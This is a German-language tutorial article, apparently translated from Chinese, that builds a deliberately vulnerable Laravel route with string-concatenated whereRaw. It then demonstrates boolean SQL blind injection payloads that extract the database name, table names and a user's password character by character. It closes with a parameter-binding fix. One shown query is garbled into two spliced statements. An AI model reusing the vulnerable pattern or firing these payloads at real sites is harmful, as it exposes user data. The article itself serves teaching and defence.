Heim  >  Artikel  >  PHP-Framework  >  Analysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen

Analysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen

WBOY
WBOYnach vorne
2022-07-27 10:57:332494Durchsuche

Dieser Artikel bringt Ihnen relevantes Wissen über laravel, in dem hauptsächlich erläutert wird, wie das Prinzip der SQL-Blindinjektion durch die Erstellung einer Laravel-Schwachstelle erläutert wird. Werfen wir einen Blick darauf. Ich hoffe, es wird für alle hilfreich sein.

Analysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen

【Verwandte Empfehlung: Laravel-Video-Tutorial

Umgebung

composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env  修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');

Erstellen einer Schwachstelle

// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id

Testen

http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh

Schritte

Datenbankname

Erraten Sie den Datennamen Länge

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循环下去

Erraten Sie den Datenbanknamen

从第一步 知道了数据库名长度
`select * from users where id = 1 and substr(database(),1,1) =a` 
`select * from users where id = 1 and substr(database(),1,1) =b` 
// 一直循环下去 找到数据库名的第一个做字符  然后找第二个字符  直到找完数据库名的长度

Zum Schluss: laravel_project

Tabellenname

Die folgenden Schritte ähneln dem Erraten der Datenbank, daher halte ich es einfach.

Informationsschema

Informationsschema wird mit MySQL geliefert.

Der Datenbankname, der Tabellenname, der Spaltentyp usw. werden vermutlich alle aus dieser Datenbank stammen.

Erraten Sie die Anzahl der Tabellen in laravel_project

url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+

Erraten Sie die Länge des ersten Tabellennamens

Es ist nicht viel mehr als [erraten Sie die Länge des Datennamens].

Erraten Sie den ersten Tabellennamen.

url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+
// 得出第一个表的第一个字段是f  然后查第
.

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段总数

Erraten Sie die Daten

Daten Das ist das Wichtigste.

Da failed_jobs keine Daten enthält, habe ich sie in „Benutzer“ geändert.

Benutzer haben ein Passwortfeld.

mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w                                                  |
+----------------------------------------------------+
得出第一个是w,存起来,最后判断 
mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo                                                 |
+----------------------------------------------------+
第二个值为o
用第一个值 + 第二个值作为盲注

...

Verteidigung

(Manchmal wird wo die Anforderungen nicht erfüllt, man braucht woRaw)

Denken Sie bei Bedarf einfach daran, es zu binden.

Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = ?',[$id])->first();
 return $user->name ?? '';
});
Solange Sie das Framework sicher nutzen, wird es keine Lücken geben.

Diese alten Projekte sind voller Schlupflöcher.

Heutzutage ist es schwierig, Lücken zu finden.

Ps

Der Einfachheit halber wird oben die einfachste Suche verwendet.

Manuelle Blindinjektion sollte eine binäre Suche verwenden.

select * from users where id = 1 and  substr(database(),1,1) ='a';
换成二分:
 select * from users where id = 1 and  ascii(substr(database(),1,1)) > 99;
Am besten direkt mit dem Tool sqlmap scannen.

【Verwandte Empfehlung:

Laravel-Video-Tutorial

Das obige ist der detaillierte Inhalt vonAnalysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:learnku.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen